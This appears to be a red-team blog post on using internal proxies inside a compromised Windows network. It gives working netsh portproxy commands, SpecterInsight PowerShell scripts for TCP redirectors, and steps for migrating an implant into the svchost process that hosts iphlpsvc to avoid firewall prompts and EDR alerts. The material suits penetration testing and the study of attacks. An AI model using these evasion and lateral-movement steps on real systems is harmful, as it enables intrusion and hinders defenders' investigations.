How to Leverage Internal Proxies for Lateral Movement, Firewall Evasion, and Trust Exploitation

Overview

The primary tactic we will be exploring in this post is the use of proxies inside of a target network. There are a lot of different types of proxies for both offense and defense. This post will focus on Internal Proxies (MITRE 1090.001) which are a sub-technique of Proxy (MITRE 1090). We will cover how to leverage internal proxies while navigating around a target network for lateral movement, firewall evasion, trust exploitation, and defense evasion. Additionally, we will demonstrate two techniques: (1) netsh interface portproxy and (2) TCP redirectors using adversary code.

The tools used in this post include:

• PowerShell
• netsh
• SpecterInsight

Background Knowledge

Definitions

• Proxy: An application that “breaks” the connection between client and server. The proxy accepts certain types of traffic entering or leaving a network and processes it and forwards it.
• Redirector: A script for filtering and processing traffic in a proxy server. Redirectors can be used to reject redirection requests for certain addresses, modify the content of web pages being transmitted, or display service messages on the screen of the proxy server client.

Honestly, I tend to use these terms interchangeably.

Description

The general technique of establishing proxies is to redirect traffic from one system to another. For example, when setting up command and control infrastructure, you may throw up an NGINX proxy to redirect web traffic from public facing redirectors back to your command and control server in order to hide where you are conducting your operations from. That is an example of an External Proxy (MITRE 1090.002) because the proxy exists outside of the compromised or target network.

Internal Proxies specifically direct command and control traffic between two or more systems in a compromised environment. The diagram below depicts an example of an internal proxy for defense evasion. The adversary has one access mechanism to the target network through an implant on Host A. To make it more difficult for incident responders to trace activity back to their only access vector, the adversary sets up an internal proxy on Host B using netsh interface portproxy commands. The redirectory will listen on emphemeral port 50001 and will forward any incoming connections on that port to the IP address of the Server system on RDP port 3389. The adversary would then create a tunnel from the C2 server through the implant on Host A to redirect any connections from the C2 server on a local port through the implant on Host A to Host B on port 50001. The redirectory would then create a seperate TCP connection between Host B and the Server and pass RDP traffic.

From a defender’s perspective, someone is trying to RDP from Host B to the Server. The incident responder would have to analyze artifacts on Host B or local network traffic to identify that a proxy was in place in order to find Host A and the implant. If nothing else, this will slow down the incident response process if activity on the Server system triggers and investigation.

Employment

There are a variety of ways to leverage internal proxies during an engagement:

• Internal Scanning: You may use port proxies to scan internal network services without directly connecting to them, reducing the risk of detection. This is useful for one or two services on a few systems, but becomes unwieldy and noisy if you need to scan an entire network or multiple ports as the proxy techniques shown here are all explicit point-to-point configurations. I would probably look at other techniques, such as a SOCKS proxy, for large scans.
• Lateral Movement: I like to use port proxies to facilitate laterally movement within a network. I find that a lot of network defenders don’t have a good understanding of how internal proxies work, and a lot of them have never heard of netsh port proxies. They are generally better at detecting lateral movement, especially if they are using an EDR. Using port proxies tends to stifle their investigation and helps protect my persistent access point.
• Firewall Evasion: Port proxies can be used to bypass firewalls and other network security controls, allowing persistent communication to the target system. For example, RDP on port 3389 may be blocked at the network layer; however, I can use a port proxy to redirect an ephemeral port to port 3389 on the local host thus bypassing the firewall block as my new connection comes in on a high port.
• Trust Exploitation: Port proxies can be used to exploit trust relationships between systems within a network, enabling lateral movement by leveraging the trust that systems have in each other. I have found network administrator systems that have trust relationships in the form of firewall exemptions. Other times they are multi-homed with connections to other networks not accessible from any of the networks I currently have access to.
• Defense Evasion: It’s also possible to evade certain EDR signatures by having a separate process make the C2 callout for your implant. For example, with netsh interface portproxy, you can create a proxy that listens on localhost on an ephemeral port and forwards to your C2 server over HTTPS. Your implant would then be configured to call back to localhost on the ephemeral port you used for the proxy. The system service would than accept the connection and proxy the traffic to your actual C2 server. A significant amount of a EDR’s analytics are focused around process behavior, and relatively few signatures or alerts focus on loopback traffic. In this case the process actually sending outbound traffic is a different process than your implant, so this technique will bypass many of those analytics that might show up as an alert in the SOC.

Techniques

There are a variety of different sub-techniques for Internal Port proxies; however, there are only two currently supported in SpecterInsight 2.0. There are built-in SpecterScripts associated the managing the redirector lifecycle to include starting, stopping, and showing running redirectors. You can list the available scripts for Internal Proxies by applying the internal-proxy label filter in the SpecterScripts Searcher window.

Netsh Interface Portproxy

The Windows Operating System comes with a TCP proxy capability out-of-the-box using netsh. The netsh interface portproxy command is used to configure port forwarding and proxying for network connections. A port proxy is a mechanism that redirects network traffic from one IP address and port combination to another. This is often used for tasks like port forwarding, where incoming traffic to a specific port on one machine is redirected to a different port or machine.

For example, if you want to redirect incoming traffic from port 5001 on all interfaces to port 3389 on the same machine, you might use the following command:

netsh interface portproxy add v4tov4 listenport=5001 listenaddress=0.0.0.0 connectport=3389 connectaddress=127.0.0.1

The command above uses the following options:

• listenport: The port on which the proxy listens for incoming connections.
• listenaddress: The address on which the proxy listens for incoming connections. Use 0.0.0.0 for all available network interfaces.
• connectport: The port to which the proxy forwards the incoming connections.
• connectaddress: The address to which the proxy forwards the incoming connections.

It’s important to note that netsh interface portproxy is a configuration tool, and it does not directly host or manage the connections. The actual process hosting the connection is determined by the application or service that is bound to the local port. The netsh command is responsible for configuring the port forwarding rules in the operating system’s network stack. If a process is not already bound to the specified local port, the system will handle the connection internally.

One if the big benefits of this techniques is that it doesn’t require custom code to be loaded on the target. Just a few commands and a few logs.

SpecterInsight provides a convenient way to create input UI by defining parameter blocks. The following script takes in a few arguments that SpecterInsight will render into an inlut UI. The scriot will then configure a proxy that accepts connections on the local system and forwards those connections to the remote system.

param(
    [Parameter(Mandatory = $true, HelpMessage = "The listening interface IP on the current  system.")]
    [string]$LHost = "0.0.0.0",

    [Parameter(Mandatory = $true, HelpMessage = "The listening port on the current system.")]
    [int]$LPort = 50001,

    [Parameter(Mandatory = $true, HelpMessage = "The destination host to proxy connections to.")]
    [string]$RHost,

    [Parameter(Mandatory = $true, HelpMessage = "The destination port to proxy connections to.")]
    [int]$RPort = 3389
)

netsh interface portproxy add v4tov4 listenport=$LPort listenaddress=$LHost connectport=$RPort connectaddress=$RHost

The SpecterScript above would create a UI similar to the one below for operator input. To configure a proxy similar to the diagram shown above, an operator would execute this SpecterScript with the following arguments:

The following netsh command will list all of the currently active proxies running on the system:

netsh interface portproxy show all

If there are any active proxies, you should get output that looks similar to the output shown below:

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
0.0.0.0         50001       192.168.1.103   3389

Once you are done using the proxy, you can remove it using the command below. Proxies are identified uniquely by their local interface and port.

• listenport: The port on which the proxy listens for incoming connections.
• listenaddress: The address on which the proxy listens for incoming connections. Use 0.0.0.0 for all available network interfaces.

param(
    [Parameter(Mandatory = $true, HelpMessage = "The listening interface IP on the current  system.")]
    [string]$LHost = "0.0.0.0",

    [Parameter(Mandatory = $true, HelpMessage = "The listening port on the current system.")]
    [int]$LPort = 50001
)

netsh interface portproxy delete v4tov4 listenport=$LPort listenaddress=$LHost

Employment Considerations

• Windows only technique.
• Requires a high integrity or SYSTEM process to successfully execute.
• Can evade certain detection analytics leveraging a separate process from the implant process to create network connections.
• This is a live-off-the-land technique that does not require any custom code to be loaded on the system.
• It does require a few commands to be execute on the target which will be logged and are more likely to generate alerts than actions taken via an API.

TCP Proxy Using Implant Modules

Another technique for proxying traffic within the target network is to load your own code in a process you control and have that process do the work.

SpecterInsight provides several SpecterScripts for managing in-process TCP redirectors via the ‘lateral’ module. This module allows you to start, stop, and list TCP redirectors via API and can be run within any process including injected processes. The following script will allow you to start a TCP redirector listening on TCP port 50001 redirecting to 192.168.1.103 on RDP port 3389.

param(
    [Parameter(Mandatory = $true, HelpMessage = "The listening interface IP on the current  system.")]
    [string]$LHost = "0.0.0.0",

    [Parameter(Mandatory = $true, HelpMessage = "The listening port on the current system.")]
    [int]$LPort = 45327,

    [Parameter(Mandatory = $true, HelpMessage = "The destination host to proxy connections to.")]
    [string]$RHost,

    [Parameter(Mandatory = $true, HelpMessage = "The destination port to proxy connections to.")]
    [int]$RPort = 3389
)

load lateral;

Start-TcpRedirector -LHost $LHost -LPort $LPort -RHost $RHost -RPort $RPort;

The script above will create an operator UI similar to the one below. The screenshot below of the Command Editor shows options filled in to create a proxy that listens on port 50001 and forwards to 192.168.1.103 on port 3389 (RDP).

By default, the Windows Firewall will not allow traffic to the redirector. From the perspective of the operator, the script will complete successfully, but traffic will not be authorized through the firewall. What’s worse is that a popup will highlight your activity to the current user and may trigger an investigation. I mean probably not, but still…

There are two ways that you can mitigate this issue: (1) Create a Firewall exemption prior to starting the TCP Redirector or (2) migrate into a process that has pre-existing exemptions in the firewall. If you have SYSTEM privileges, then you can inject into one of the system service host processes. I like to find the one that is running the IP Helper Service (iphlpsvc). Whatever process is hosting this service is already authorized to access network resources and will not pop a prompt to the user. This service gets loaded into one of the many svchost.exe instances, so we have to figure out which one it’s in. That can be done via the following command:

tasklist /svc /fi "services eq iphlpsvc" /fo:list

The command above shows the process running the iphlpsvc. It ouputs the name of the process, the PID, and the services hosted in that process. Here we can see the iphlpsvc is running in process 396 with 9 other services.

Image Name:   svchost.exe
PID:          396
Services:     Appinfo
              DsmSvc
              iphlpsvc
              LanmanServer
              lfsvc
              ProfSvc
              Schedule
              SENS
              SessionEnv
              ShellHWDetection
              Themes
              TokenBroker
              UserManager
              UsoSvc
              Winmgmt
              WpnService

Now that we have the id for the process hosting the iphlpsvc, we can inject into it using the “Migrate Process” SpecterScript.

Running the script above will yield output similar to what is shown below if successful, followed by a new session notification.

Success  PID Build
-------  --- -----
   True  396 5e95f451e00c4d039d3601ffd263f0df

From our new session in svchost, we can configure redirectors without having to configure any firewall rules.

You can run the following SpecterScript called “Get TCP Connections” to list all of the currently active listeners and verify that our redirector is running..

load recon;

Get-TcpListeners

You should see an active listener on port 50001.

AddressFamily  Address        Port
-------------  -------        ----
InterNetwork   0.0.0.0         135
InterNetwork   0.0.0.0         445
InterNetwork   0.0.0.0        3389
InterNetwork   0.0.0.0        5040
InterNetwork   0.0.0.0        5985
InterNetwork   0.0.0.0        7680
InterNetwork   0.0.0.0       50001
InterNetwork   0.0.0.0       47001
InterNetwork   0.0.0.0       49664
InterNetwork   0.0.0.0       49665
InterNetwork   0.0.0.0       49666
InterNetwork   0.0.0.0       49668
InterNetwork   0.0.0.0       49670
InterNetwork   0.0.0.0       49671
InterNetwork   0.0.0.0       49688
InterNetwork   192.168.1.103   139

Finally, you can stop a redirector with the following script. Similar to the netsh interface portproxy command, the SpecterInsight redirectors are uniquely identified by their listening port as you cannot have two processes listening on the same port at the same time. The script below will stop the redirector listening on port 50001.

param(
    [Parameter(Mandatory = $true, HelpMessage = "The listening port on the current system used by an active TCP redirector.")]
    [int]$LPort = 45327
)

load lateral;

$redirector = Get-TcpRedirector | ? { $_.LocalPort -eq $LPort }
$redirector | Stop-TcpRedirector

This script yields the following UI.

Employment Considerations

• Works on any OS.
• Can be run from any process integrity level.
• Requires a firewall exemption.
• May generate a prompt asking for network permissions depending on what process you are in.

Conclusion

In this post, we explored the use of Internal Proxies for tasks like lateral movement, firewall evasion, and trust exploitation within a target network. We presented two techniques: (1) netsh interface portproxy and (2) TCP redirectors using SpecterInsight and demonstrated how to use each technique. Lastly, we covered employment considerations for both techniques. Hopefully this post gives you some ideas for leveraging Internal Proxies in your next engagement.